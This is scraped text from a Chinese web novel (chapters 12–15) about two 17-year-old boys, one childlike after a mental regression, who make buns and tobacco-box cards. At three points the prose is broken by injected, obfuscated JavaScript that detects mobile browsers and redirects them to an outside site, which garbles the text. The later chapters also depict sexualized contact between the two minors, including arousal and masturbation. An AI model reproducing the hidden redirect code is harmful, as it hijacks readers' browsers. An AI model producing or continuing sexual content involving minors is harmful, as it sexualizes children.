d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230593|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见他俩,阿姨问:“小帅哥,这冰箱里的西蓝花和胡萝卜都蔫儿了,芦笋也有点臭了,阿姨帮你丢掉吧?” 严峻生硬地点点头:“嗯,可以。” “还有呀,冷冻层的牛排要赶紧吃。虽然放不坏,但风味会流失的。那些可都是好牛排,冻久了可惜……” 闻言,严峻的眼睛隐隐一亮,按捺着雀跃点了点头:“好,我们今晚就煮来吃。” - 那天中午,两人从秦一泽家里扛了一堆衣服和一堆冻货回来。 什么牛排、培根、小羊排、大虾,全部都腌好调味、塑封包装,拆开煎一下就可以吃。严峻清点过后,一一塞进冰箱冷冻层,同时不禁感叹:这些肉看上去好高档啊,纹路上佳,肉质想必也很好……秦一泽平常就是吃这些东西的? 从门口探出脑袋,瞥一眼坐在柜台边美滋滋啃辣条的假小孩,严峻一言难尽地撇撇嘴:以前吃高级肉,到这里之后,居然爱上了辣条!这小子,真是山猪吃不了细糠。 中午,严峻煎了几块菲力牛排,其中一份剪成小块,递给阿婆。牙齿不好的老人家尝了尝这个肉,不住地点头:“香得很!还软!……真好吃。” 秦一泽却是兴趣缺缺,撅着嘴吃得挑挑拣拣的。严峻问他:“你不喜欢吃啊?” 假小孩把盘子一推,嫌弃道:“不好吃!哥哥我要吃小炒肉,香香的、带一点辣的那种,那个才好吃。” 严峻:……果真是山猪吃不了细糠! - 那天晚上,秦一泽终于穿上了合身的衣服。 他舒坦地躺在床上,快乐地捧着游戏机打俄罗斯方块,二郎腿翘得老高:“哥哥,看来我比你高、比你壮耶!你的衣服没这么宽松~” 严峻刚配好馅儿回来,身上带着汗腻,一边收拾衣服一边不爽地瞪他:“是是是,你高、你壮!吃那么多牛肉、虾肉,能不壮么……” 后半句收敛了音量,咬牙切齿的,颇有点儿不甘心的意味。 假小孩拿回来的全家福照片被他放在书桌上,跟哥哥的书摆在一起,明晃晃的,十分惹眼。下午睡醒时,严峻记得他靠在床头,抱着照片打量了好久,还说:“哥哥,我家以前的房子好大呀。” 严峻扭头注视着他:“你喜欢大房子吗?” “不喜欢。”假小孩只是摸摸照片,“太空了,怪吓人的。” 半晌,他又问:“哥哥,等暑假结束了,爸爸妈妈就会来接我,对吗?” 会吗?严峻不确定。但是,看着他手机里空荡荡的来电记录,以及微信上仅有的同学消息,严峻心想……即使他爸想把他弄到国外去念书,大概率也不是出于关心的目的。 这时,秦一泽终于打到九万分,心满意足放下游戏机。他翻个身,抱着被子朝哥哥密密地眨眼睛:“哥哥,我饿了。” “哦。”严峻回过神,突然想起早上好像忘记留馅饼了?他低低地“操”一声,烦躁地抓过衣服下楼洗澡。 一个小时后,秦一泽正苦巴巴地喝中药,严峻端着个碟子走了上来,清瘦面庞板着,很酷。 假小孩伸长脖子一看,盘子里居然是四根油条!他当即大叫出声,惊喜不已:“哥哥,这是给我炸的嘛!” “唔。”严峻面无表情地坐到床边,拿起毛巾正要擦头发。突然,两条胳膊搂到他脖子上,一个软绵绵、热乎乎的东西凑过来,在脸上用力一啵,随即是秦一泽快乐的声音:“我最爱哥哥啦!” ……卧槽!严峻避之不及地用力擦脸,面颊涨成了西红柿。 13. 宠弟弟 习惯有人跟自己一起睡觉之后,一米二的小床好像也不是那么拥挤了。 刚开始的那两天,秦一泽睡得规规矩矩的,不是平躺就是跟严峻背对背,两个人高马大的十七岁少年把床占得满满当当。 后来这小子跟哥哥混熟了,就开始释放天性——他像一片狗皮膏药似的,睡着睡着就贴到了严峻的后背上,还要把腿勾过去。 严峻不堪其扰,总忍不住把他肘开。结果今天窥探到秦一泽爹不亲、娘不爱的事实,他不由心生恻隐。夜晚,当这假小孩又抱上来时,严峻默默地翻个白眼,没有再推开他。 - 凌晨三点整,两名少年雷打不动地从床上爬了起来。 秦一泽的生物钟已经完全被严峻改变了,到点就醒。严峻先下楼,没一会儿他就会揉着眼睛跟上来,嘴里喃喃有声:“哥哥,我帮你揉面……揉面。” 他一副困顿的样子,严峻拧着眉拿来湿毛巾,捂到他脸上用力搓揉。随即拿出面盆,将20斤面粉洋洋洒洒地倒进去,再掺入温水、酵母,铁面无私一伸手:“——揉!” 秦一泽被搓得清醒过来,任劳任怨地戴上鸭舌帽,开始认真揉面。一会儿揉得差不多了,严峻轻闲地站在一旁,继续发号施令:“停——” 从他手下捞出面团,均匀地分成四大块,再一块一块放回他面前:“——擀!” 假小孩脸上沁出了汗,气喘吁吁地拿过擀面杖,闷头将面团仔细擀成大而薄的面片,再卷成长条,交送哥哥处理。 最累的活儿不用自己做了,严峻轻松得很,拿着切面刀把长条切成40g左右的剂子,“哒哒哒”动作飞快。秦一泽见他表情悠闲,忍不住眼珠子一转,开始讨价还价: “哥哥,现在有我帮你揉面,你可以做更多种类的早点啦!比如茶叶蛋,比如油条……” 严峻正在擀剂子,闻言冷冷斜过来一眼,抬手揭开一旁的盆:“你看看这是什么?” 假小孩探头一瞅:是一盆金黄的油! “昨晚只炸四根油条,就花了这么多油——够我炒十来天的菜了!要是真的开油锅,你知道要用掉多少油吗?倒又舍不得倒,留着做菜又太多。万一把街坊养刁了,等开学我没时间做,还得一个个跟他们解释!……你嫌我还不够麻烦啊?” 被骂了个狗血淋头,假小孩郁闷地撅撅嘴,小声哼哼:“不吃就不吃了嘛……” 从冰箱里拿出昨晚调好的肉馅儿,严峻见这家伙可怜巴巴的,仿佛被雨淋了的小狗。半晌,他烦躁地“哼”一声,道:“只能偶尔做几根给你解解馋。” 委屈小狗瞬间振奋,仿佛有一双不存在的耳朵竖了起来,快乐地凑到严峻脸侧,用力蹭一下:“就知道哥哥最好了~” 严峻绷着面颊,又忍不住抬手搓了搓脸。 但是众所周知,小狗得意忘形的下一步就是要搞事。严峻包包子时,秦一泽专注地在边上观察、心里默默演练着,忽然间觉得自己也能行:“哥哥,我想试着包一个。” 严峻鼻尖上顶着细细汗珠,好笑地睨他一眼:“想包啊?行,包得不好自己吃,我可不会帮你解决残次品。” “才不是残次品……”秦一泽不服气地嘀咕着,闷头托起一张面皮,舀一勺馅儿放到中心,拧紧眉头认真捣鼓。 严峻忍不住停下动作,伸着脖子看他折腾。只见这位优等生像捉毛毛虫般扎起五指,肌肉各管各的,着急忙慌,越慌越乱,把面皮捏得乱七八糟。 最后放到蒸笼里,他那个包子仿佛是一只丑小鸭混进了天鹅群,难看得出类拔萃。 “哈哈哈哈哈!”严峻难得大笑出声,“说了你不行的吧!” 假小孩把嘴撅得天那么高,眉头一拧,不服气地又拿了一张面皮:“我一定能包好的!” - 那天早上,秦一泽做出了八个奇丑无比的开口笑包子。 蒸笼一打开,严峻就露出了嫌弃的表情,唉声叹气地背着手走开:“看来,这几个包子你只能自己吃喽~” 假小孩郁闷地把那些包子夹进碗里,还要当心馅儿别掉出来:“哥哥,你帮我吃两个好不好?这么多,我吃不完……” “太丑了,我不吃。”严峻无情地转身上楼:“哪天你出师了我再吃。” “哥哥,哥哥……”秦一泽哼哼唧唧地跟在他屁股后头:“它们就是难看了一点,味道还是很好的!你不可以以貌取人,知道吗?你要看到它的内在……” 以貌取人?瞥一眼他无辜的俊容,严峻轻哼一声:老子可从来没有被你的外貌迷惑过,你个笑面虎! 抬手狠狠弹一下假小孩光洁的额心,他没好气地拿起一个丑包子,塞进了嘴里。 - 那天下午,严峻照例去学校训练。训练完回到家,他急匆匆洗去汗腻,钻进厨房做晚饭。秦一泽依旧是坐在柜台里,帮阿婆招徕客人。 中午下了点儿雨,地面湿漉漉的,这会儿倒是晒干了。街上的小孩们迫不及待地涌出来,在小辉的带领下一家店一家店地“扫荡”。碰见每个成年男性都迎上去,也不知道是在讨要什么东西。 秦一泽疑惑地瞅着他们,心里好奇极了。不一会儿,这些小孩从隔壁钻了出来,怀里抱着一堆五颜六色的空烟盒。 虽然跟小辉有一些“过节”,但秦一泽还是忍不住趴到柜台上,绷着嘴角克制地发问:“你们要烟盒干嘛?” “你不知道啊?”小辉得意地昂着小下巴,一副优越模样:“这个可以做烟卡!” “烟卡?什么东西。” “就是这个——”小辉打开自己的方形烟盒,里头全是五颜六色的小卡片,正中央是各种各样的香烟商标。几个小孩就地蹲下,在店门口开始演示:“就这样……谁能把别人的烟卡拍翻过去,翻面的卡就是他的了!” 秦一泽巴巴地趴在柜台上,眼睛都看直了:“这些烟卡,是在哪里买的?” “不是买的!”小辉又是得意地一甩头,“是问别人要来烟盒,自己做的!” ……不能买啊!假小孩不甘心地瞅着他们:“卖我几张呗,我可以给钱。” “不卖!你想要啊,让小峻哥帮你找吧!”小辉拿腔捏调地翻个白眼,把地上的烟卡收进盒子里,领着一群小孩大摇大摆地走了。 秦一泽怨念地盯着他们,一转身朝厨房直冲过去。 严峻正端着菜往外走,差点儿被他撞翻:“卧槽!你冒冒失失的干什么!” “哥哥!”假小孩在他身旁跟得紧紧的:“你抽烟嘛?” “我抽什么烟,浪费钱!”严峻不假思索地啐他,心中暗道:除非别人主动递给我。 “你不抽呀——”秦一泽失望极了,“我还想要烟盒做烟卡呢!” 烟卡?这玩意严峻倒是听说过,似乎在小学生当中特别流行。他把饭菜摆到桌上,招呼阿婆过来吃:“你跟小辉买几张不就是了?” “他不卖!”假小孩气愤极了,“我知道,他是故意气我的!他嫉妒我是你的弟弟,嫉妒我有油条吃!” 严峻失笑:“那你去隔壁问问吴叔,我记得他抽烟的。” “好!”秦一泽瞬间振奋,“我吃完饭就过去问!”他端起碗,开始往嘴里疯狂扒饭。 看着他狼吞虎咽的样子,严峻拧起眉,忍不住劝道:“吃慢点——” “唔能慢!”假小孩吃得伸长脖子,用力把饭菜咽进去:“我要赶紧搞到烟盒,把小辉的烟卡全部赢过来,看他还嚣张!” 严峻失笑地斜着眼,心想,这家伙真的变成一个小孩子了。 一会儿吃完了,秦一泽把碗筷一丢,迫不及待地窜到了隔壁去。吴叔一家人也在吃晚饭,他急切地扒到柜台上,眼尖地发现饭桌旁摆着一个烟盒: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230594|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吴叔,那个烟盒可以给我吗?” “烟盒?”吴叔瞬间了然,随即大笑:“不行呀!小树,咱们这条街的烟盒都被小辉预定了,这个烟盒我明天要拿给他的,没法给你呀!” ……啊,怎么这样! 仿佛晴天霹雳,秦一泽垂头丧气地走回去,在饭桌旁颓然坐下。严峻正打扫残局,抬眼瞥他:“没要到烟盒吗?” “都被小辉预定了!”假小孩又气又委屈,双手在膝盖上一捶:“他怎么这么霸道啊!” 人高马大的一个人,却做出这样幼稚的动作。严峻憋着笑把饭碗收拾好,垂眸看向这家伙郁闷的头顶,随即抬脚轻轻一踹他的小腿:“我知道有个地方可能会有烟盒——” 果不其然,秦一泽抬起头,双眼亮闪闪:“哪里!” 严峻不紧不慢地一挑眉,道:“街尾有个奶奶,收废纸的,里头说不定会有。不过呢,人家收废纸是要卖钱的,所以我们得拿钱去买——” “那就买呀!”假小孩期待极了。 严峻老神在在地瞥向阿婆悠然的背影,随即凑到秦一泽耳朵旁,轻声撺掇:“……那你去问阿婆拿十块钱。这种吃喝玩乐的花销,我可不帮你付。” 假小孩一怔,呆呆地望向他,神色懵懂。严峻端起碗筷,眉毛一挑,悠然走向厨房:“我洗好碗就带你去,你可别忘了拿钱。” 看着他的背影,秦一泽默默拧起眉,心想:可是,问阿婆要钱的话,她会打人的耶,哥哥不知道吗? ……还是说,哥哥是故意坑我的? 想着,他抿起唇,讳莫如深地站起身,眼珠子骨碌碌转了转。不一会儿,严峻洗好碗,擦着手走出来。见他安然无恙,便一挑下巴:“怎么没拿钱?” 秦一泽眨眨眼,背着手像个士兵似的站在柜台边:“哦,我刚问完阿婆!她说我下午卖了很多东西,所以可以给我十块钱——不过我不知道哪张是十块,哥哥,你帮我找一找吧?” 是吗?严峻狐疑地走上前,心想阿婆好像是给过秦一泽钱,一块两块的,有时还给一根棒棒糖。 将信将疑地瞥一眼表情真挚的假小孩,再看看昏昏欲睡的阿婆,严峻犹豫几秒,伸手朝放钱的铁罐摸去。然而,在他触碰到纸币的一刹那,旧事重演,阿婆敏锐地睁开眼,一蒲扇打了过来—— “小棺材,天天来偷我的钱,偷上瘾了啊!我打死你,打死你!” “嗷!阿婆,你不是答应小树拿钱的嘛,怎么还打我啊!”严峻被打得四处逃窜,而秦一泽呢?这臭小子早就未雨绸缪地跑到门外了,这会儿正龇着一口白牙坏笑。 半晌,严峻终于逃出阿婆的五指山,咬牙切齿地朝他冲过来:“严肃!你,你竟敢骗我!” 假小孩把双臂横在胸前,不断后退:“是哥哥不好!明知阿婆会打人,还哄我去拿钱!” 严峻被噎得哑口无言,面色僵硬:“你怎么知道的,你被打过?” “被打过呀!”秦一泽理直气壮地指一指脑袋,“前两天被打的。我想拿钱去买冰棍,被阿婆打得好痛呢!头都扇晕了。” “打到头了?”顿时倒吸一口凉气,严峻的神情变得紧张,揪着他衣领把脑袋拽下来,摸着头皮一点点检查:“肿了吗?晕不晕啊,想不想吐?” 嗯?秦一泽茫然地享受着哥哥的抚摸,心想:哥哥不追究我啦? “昂……不晕,也不想吐。当时有点儿痛,很快就好了。” 说完这句话,他听见严峻庆幸地长舒了一口气,好像很是后怕。抬起头,假小孩看见哥哥疲惫地背身站着,双手叉腰。清瘦而佝偻的身影在晚霞映衬下显得黑乎乎的,像一个沉默的剪影,看不清表情。 半晌,那个影子抬起手,无力地朝自己招了招:“……走吧,我带你去买烟盒。” “好!”他赶忙凑上去,用力攥住了哥哥的手腕。 14. 秦一泽,你松开我! 清晨六点半,静河路的人陆续起床工作。街坊邻里把店门打开,批发五金的、喜糖的、日用家电的顾客涌向这条古朴的街道,空气瞬间变得热闹起来。 一名四十多岁的中年女性骑着自行车打街上过,骑着骑着停下来,询问街边的店主:“大哥,静河路菜市场是不是在前面?”她穿着朴素、肤色微深,大概率是听说静河路菜市场价格便宜,赶来“进货”的。 “哎,对!再往前两百米就是了!” “谢谢大哥啊!”正要继续骑,她一抬头,注意到前边一家小店门口挤了好些人,忍不住又问:“大哥,前面那是什么店啊?” “那个啊?哦,是包子店。那家包子特别好吃,又便宜!我强烈推荐你买几个,不然马上就没了!” “是吗!”听说便宜又好吃,妇人瞬间来了精神,冲过去挤到人群里,大声问:“有什么包子,多少钱啊!” 柜台里花白头发的阿婆还没吭声,边上的人就替她回答了:“大肉包两块,肉沫粉丝包和韭菜鸡蛋包都是一块五,香菇青菜包一块。就只有牛肉馅饼贵一点,五块一个!” “这么便宜啊!”妇人惊喜极了:“那我要四个肉包,其他包子每种两个!再……再要两个牛肉馅饼!” “哎哎哎,你要排队呀!”大家都不满地嚷嚷。 “哦,好,好!”妇人讪笑着退了出去。 待五分钟后排到她,蒸笼里的包子已经所剩无几,她只买到三个肉包,两个肉沫粉丝包。 嘀咕着“有没有那么好吃啊?抢得那么厉害……”,妇人拿起肉包用力咬一口,满满的肉馅儿瞬间在嘴里绽开,肉汁四溢,又嫩又香。她惊讶地一瞪眼,随即面露沮丧:“早知道我就不煮那锅饭了,早点儿出门!也不至于才买到五个包子!” 推着自行车朝菜市场走去,妇人吃完一个包子,意犹未尽地掏出手机,给儿子打了一个电话:“言东啊,你傍晚打球那篮球馆离砚井坊不是近得很么?你回家的时候往静河路走,路中间段有一家包子店,可好吃了!你再买几个回来。” “妈……”那头任言东的声音有些崩溃,“这还不到七点,你就不能让我睡个懒觉吗!” “睡什么睡,起来复习!收假回去就高三了知不知道啊,还天天睡!你们班主任跟我告状好多次了,说你老是上课睡觉……” 妇人絮絮叨叨的,推着车慢慢走远了。 - 早上十一点醒来,严峻揉揉眼睛,见假小孩不在,床上只有那个黄色笑脸,不禁吓了一跳:秦一泽呢?! 穿上拖鞋冲到楼下,不锈钢笼屉居然已经收到厨房去了?严峻问阿婆:“阿婆,笼屉是小树收的吗?” “是呀。”阿婆笑眯眯地摇扇子。 “那他去哪儿了?” “他啊!他去找收废品的奶奶了,说昨天没找到烟盒,今天再去看看。” 严峻心里的紧张瞬间消散,面露嫌弃:就为了几个烟盒!……臭小子,至于吗! 昨晚他俩去得迟了,老奶奶已经把废旧送到了废品站,两人空手而归。 假小孩耿耿于怀,念叨了一晚上。严峻听得耳朵起茧,忍不住踹他一脚:“好了好了,明天我去学校帮你问别人要,行了吧!老实等着,不准念了!” 秦一泽安静一会儿,快乐地蹭过来抱住他,两只眼睛在昏暗中瞪得老大:“真的吗?” 严峻的回应是扇了一下他的脸。 吃午饭时,秦一泽耷头耷脑地回来了,一看就是没找到烟盒。严峻嫌弃地剜他一眼,用筷子敲敲碗边,啐道:“吃饭!下午我帮你找,你别瞎忙活了!” 假小孩失落地捧起饭碗:“真的能找到吗?” “我还能骗你吗?”训完他,严峻摸出手机,给最爱抽烟的林鹤发了条信息:“下午我们去学校打篮球,你去吗?” 林鹤颇觉受宠若惊:“去!我肯定去。” 随即又问:“任言东不去吧?” 任言东?严峻拧拧眉,他这几天好像跟别的人去体育馆打球了,没怎么露面:“他不去。” “行。”林鹤似乎放了心,“那我拿一件冰可乐过去。” “冰可乐不重要。”严峻目的明确,“重要的是,你拿几个烟盒给我。要贵的,款式越多越好。” “烟盒?”林鹤愣了,“不要烟吗?” “不要,就要烟盒。” “哦……”对面茫然地应了下来。 - 林鹤出来玩,总是喜欢买一大堆东西,吃的玩的应有尽有,惹得其他人都对他谄媚至极:“林哥大气!今晚去不去唱K,或者烧烤也行!” 一个个殷切地哄他出去消费,当然是指望他买单的。 林鹤望向远处骑着自行车飞速靠近的严峻,一挑下巴:“待会儿问问严峻吧。” 在球场边停下车,严峻目标明确地走到他面前,微喘着问:“烟盒拿来了吗?” “你要盒子,我就给你腾空了一些。”拿出书包轻轻一抖,十几个五颜六色的烟盒瞬间撒落一地。 袁思齐凑上去帮严峻收拾,什么和天下、荷花、真龙、中华,应有尽有。他忍不住问:“老大,你要烟盒干什么?” “亲戚家小孩玩烟卡,吵着闹着问我要。”把烟盒收进包里,严峻费解地看着那些商标,嫌弃道:“这跟我们小时候收集水浒英雄卡有什么差别啊?都是一样的玩法!偏偏要用烟盒来做……现在那些小孩儿对烟的价格门儿清,数得比我还溜!” 袁思齐眼睛一亮:“老大,我的红塔山你要吗?” 严峻瞥他一眼:“太便宜了,不要。” 袁思齐又谄笑着去问林鹤:“林鹤,你腾出来那些烟……放哪儿啊?要不要我帮你消耗一些?” 林鹤则望向严峻:“你要吗?” “不要。”把书包拉好,放到球场边的石凳上。严峻转身抄起篮球,干净利落地跑进场内,投了个空心三分篮:“你那些都是好烟,几十上百一包,别把老子的嘴养刁了!” 林鹤笑笑,满不在乎道:“这有什么,几包烟而已。” 袁思齐依旧谄笑着:“就是!几包烟而已嘛。林鹤,给我一点儿呗,让我也尝尝好烟的味道~” “行,打完球你跟我回家拿吧。”林鹤放下背包,小跑进场,加入了战局。 - 那天傍晚,当严峻骑着车回到静河街,远远就看见秦一泽高挑的身影站在店门口,把一双脚丫子踮得高高的,翘首盼望着。 看到自己,他笑得像一只哈士奇,欢天喜地地迎上来:“哥哥,你帮我要到烟盒了吗!” 街对面,小辉带着一群小孩正玩得起劲,闻言不禁紧张地走到街边,也问:“小峻哥,你,你去哪里弄的烟盒,不会是问这街上的叔叔要的吧?” 严峻好笑地瞥他一眼:“放心,不是抢你的——我是问我同学要的。” 秦一泽已经迫不及待地把他的背包接过去,拉开了拉链:“哇,这么多烟盒!哥哥你好厉害呀!” 他兴奋地扑过去,差点儿把停车的严峻扑翻在地:“我操操操!你悠着点儿!” 灵敏地撑着墙直起身,又轻松地拽起严峻,假小孩的眼睛都笑眯了,举着书包“哦”一声冲进屋里,奔上楼没了影儿。 小辉眼巴巴地、不服气地站在街对面,气恼地喊:“小峻哥!这整条街的烟盒都是我的,你也是这街上的,为什么不给我!” 严峻敷衍地睨他,拍拍身上的灰:“他是我弟弟嘛,当然先给他喽。” 小辉扁扁嘴,露出了羡慕忌妒恨的表情。 - 晚上,自吃完饭的那一刻起,秦一泽就小狗似的跟在哥哥屁股后头了。他喋喋不休地问:“哥哥,你什么时候帮我做烟卡?我不会做……你快帮我做吧!赶紧去调馅儿,调完馅儿洗澡,然后上楼做卡片……” 嘿!严峻刚洗完碗,回头怒视他:“你还给我安排上了!” 假小孩立即耷眉瘪嘴,一双桃花眼无辜地眨啊眨:“哥哥,快一点嘛,求求你了~” 严峻顿时像一颗哑火的炮仗,一股气全咽在了喉咙里。 拗不过这个不依不饶的家伙,他只得提前调馅儿、提前洗澡,随即穿着松松垮垮的背心和大短裤爬上楼——秦一泽已经等在床上了,十几个烟盒整整齐齐地拆开,还用纸巾擦去灰尘,干干净净地铺成一片。 假小孩献宝似的把铅笔、尺子和剪刀递到哥哥手里,两眼放光:“哥哥,全靠你了!” 严峻烦躁地翻了一个白眼。 认命地坐到床上,他盘着双腿、拧着眉头,认真地用自动铅笔和尺子画出烟卡的形状,再小心翼翼地剪下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230595|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这架势,比做几何题还要郑重。 秦一泽跟个大狗似的蹲在他身旁,两条胳膊搂着膝盖,目不转睛地盯着哥哥的动作。看着看着,他忍不住把头靠过去,贴一贴严峻的脸,一副依赖又佩服的模样:“哥哥,我好喜欢你呀!你简直无所不能。” 严峻听得太阳穴一跳,沉住气,没有搭腔。他自顾自把剪下来的卡片按照划线折叠成一个长方形,再仔细交扣好,一张烟卡就此诞生。 秦一泽眼睛都亮了,迫不及待地伸手接过:“这就是烟卡呀!哈哈,我终于也有烟卡了!” “好好拿着,丢了我不会补给你的。”严峻冷酷地说着,马不停蹄地开始制作下一张。 “嗯!哥哥,你不用再帮我找烟盒了,我用这些烟卡就能大杀四方!”假小孩信心满满,迫不及待地把烟卡丢在凉席上,认真玩儿了起来。 做了将近四十分钟,严峻才终于把十六个烟盒全部叠成烟卡。数一数,共有四十八张,拿在手里厚厚一叠,还挺有分量。 见秦一泽全神贯注地蹲坐在床上,双手鼓起,对着卡片用力拍。严峻轻蔑一笑:“这些玩意儿,都是我们小时候玩剩下的。” 说着,他伸出手轻轻一拍,三张卡片立即跳转翻面,齐刷刷的。 秦一泽惊呆了,看看卡片,又看看哥哥:“哥哥……你,你这就赢走它们了!” “是啊。”得意地一挑眉,严峻再次伸出手,朝秦一泽的卡片稳准狠地拍过去。眨眼之间,又是三张卡片收入囊中。 他拿着那六张卡片,朝假小孩轻轻一晃,嘴边勾起势在必得的笑容:“这样,我用这六张卡,跟你的四十二张卡对打,看谁赢得过谁。” 得意的少年曲着单膝,修长瘦韧的腿挡在身前,姿态闲适。他倾斜着肩膀,松垮的背心像破麻袋似的挂下来,几乎露出了整片胸膛。 秦一泽看得迷迷糊糊,那瞬间,他好像闻到了严峻身上淡淡的沐浴露香气:“哥哥,你好香啊,像柠檬。” “啧!”严峻凶狠地瞪眼:“你还玩不玩了!” “玩玩玩!”猛然清醒,假小孩赶紧答应。 事实证明,在玩卡片这个项目上,优等生根本比不过自小便在街上摸爬滚打的老油子。严峻从容不迫地赢下他六张真龙,接着是九张荷花,然后是十二张中华……最后,秦一泽面前空空如也,家当全部被赢走了。 严峻悠哉悠哉地叠好所有卡片,放在手心拍一拍:“就你这点三脚猫功夫,怎么赢小辉啊?” 假小孩瘪着嘴,委屈吧啦:“哥哥,你教我嘛!” “不教。”严峻拒绝得毫不留情,“我先给你六张卡,明天你就拿这六张卡去跟小辉玩儿。不然一次性全输光了,我还得帮你找烟盒……” 随意分了一多半的卡放到身后枕头上,严峻不紧不慢数出六张,严格执行“计划经济”。秦一泽不甘心地瞅着他身后那叠卡,眼珠子骨碌碌转着,嘴唇抿了又抿。 突然,他猛地伸出手,企图偷袭。严峻却好像预料到他的举动,身体警觉地压下去,把这假小孩的胳膊夹在肋下:“哼哼~玩不过就想明抢了?” 看着哥哥鄙夷的神情,秦一泽露出八颗白牙,嘻嘻笑着讨价还价:“哥哥,你就给我嘛~” 话音刚落,他反手一抓,拽住严峻背襟,像蛇一般缠了上去,翻身压住。严峻不禁“卧槽”一声,这才想起他是在搏击馆报过课的!赶忙撑起手肘奋力挣扎:“秦……严肃!你放开我!哪有这样对哥哥的!” “哼哼哼~”假小孩得意洋洋地拿过那叠烟卡,宝贝地收到枕头下面,随即笑吟吟地贴到严峻肩上,右手像蛇似的钻到他身前去,寻找另外半叠卡片:“是哥哥不好,总欺负我。我不喜欢被人欺负,就只能出此下策啦~” 灵活的大手在肌肉与竹席之间穿行,一侧柔软、一侧坚硬。严峻徒劳地挣扎着,不禁涨红了脸,屈辱地吼:“你再不放开,明天我不做油条给你吃了!” 两人的身体像勺子一般紧贴着,剧烈磨蹭。假小孩被蹭得懵懂地轻哼一声,不由停了下来,眼睛盯着严峻通红的耳廓发愣。他的手也不钻了,转而扣住哥哥的胸口,不自觉地抓抓……严峻刚要继续咒骂,却感觉自己身后,好膈着个什么东西? “卧槽!”意识到那是什么,他触电般大叫出声:“秦一泽,你赶紧松开我!” 15. 哥哥,秦一泽是谁? “哥哥,秦一泽是谁呀?” 假小孩懵懂地问他,但手上却没有停下动作,无师自通地四处抓捏。严峻动弹不得,整个人仿佛一根僵硬的树枝,被秦一泽这只傻狗当成痒痒挠,借用他蹭来蹭去。 “秦……秦一泽是你以前的名字!”慌乱搪塞过去,严峻试图挣扎。但膝关节被他紧紧缠着,身体的细节更是严丝合缝地嵌在一起,根本无法脱身。 努力忽视身后膈应人的触感,严峻那个羞耻、那个恼怒,负隅顽抗如毛毛虫,在秦一泽怀里徒劳地蛄蛹:“好了、好了!我把烟卡都给你,你快放开我——” 嗓子都喊得劈了叉。 秦一泽懵懵懂懂的,终于放开手臂,又松开双腿。严峻一骨碌爬起来站到床边,双眸火一般怒视着他,胸膛一起一伏,气得不轻。 他一眼看见这假小孩明显的反应,可这家伙表情懵懂,俨然不明白这意味着什么。 “你……你去厕所去!” “我不想尿尿。”秦一泽失神地看看他,又低头瞅瞅,茫然地碰一碰:“哥哥,它怎么回事?不舒服……” 啊啊啊啊你不要再碰了!严峻羞愤地扭开脸:“它就是想上厕所了!——你快去尿尿!” 秦一泽挠挠脑袋,将信将疑地鼓着个包走下楼去。阁楼终于变得安静,严峻却感觉自己耳朵里嗡嗡的,仿佛炸了一个雷,脑中余波振荡:臭小子!……心智是退化了,可身体还好好的呢! 又忍不住用力拍拍屁股:那也别拿老子当“痒痒挠”啊!我可是男的! 悲愤地往床上一躺,他努力镇定心神,刚摸出手机,秦一泽就回来了。 严峻目不斜视的,板着脸不理他。这家伙却不依不饶地走到他面前,还伸手指一指:“哥哥,尿不出来,消不下去。” “你有完没完啊!”严峻顿时破了功,气急败坏地坐起来,语无伦次道:“……你自己来就好了!难不成还要我帮你啊!” 假小孩郁闷地站在床边,嘴巴撅着,像一只执着的大德牧:“我又不会嘛……哥哥帮帮我好不好?” “这有什么不会的!”严峻要抓狂了:“就这样啊,这样!懂了吗?!” 秦一泽认真观察着,随即爬到床铺内侧,照葫芦画瓢。严峻扭头回避,心想看了要长针眼。但几秒钟之后,他听见这假小孩说:“哥哥,有点疼。” 怎么会疼?狐疑地扭头望去,他几乎五体投地:“谁让你隔着拉链啊!” 严峻崩溃地喊:“直接,直接不懂吗!” 假小孩恍然大悟地“哦”一声,接着,严峻就猝不及防地打了个照面。 “卧槽!”他悲愤地把毯子一拽,盖过脑袋:“谁让你当着我面的!” 然而就在他蜷到床边的下一秒,秦一泽就十分自觉地贴了上来!单手搂住他,就像之前的每个夜晚那样。 严峻要疯了,猛地把毯子掀开,露出一张气急败坏的、生无可恋的番茄脸:“你上一边儿弄去,抱过来干嘛!” 假小孩却把下巴搭在他肩膀上,完全不觉得羞耻或是冒犯,就这么理所当然地粘着:“不可以抱吗?”他嗅闻着那股好闻的柠檬香,“可是,抱着哥哥舒服一点呀。” “那也不能——这种时候抱着我!”用手肘奋力将人顶开,这家伙却像铁了心,直勾勾地瞪着眼钻过去:“为什么?为什么睡觉时可以抱,现在不能抱?” 两人就像纠缠的蛇,一个逃一个追,反而越缠越紧。其实秦一泽也不知道自己为什么想抱哥哥,但此时此刻,看着严峻脸上那羞愤的表情、以及越来越红的嘴唇,他心里麻麻痒痒的,总觉得像看见了……看见了思嘉姐姐分给他的辣条。 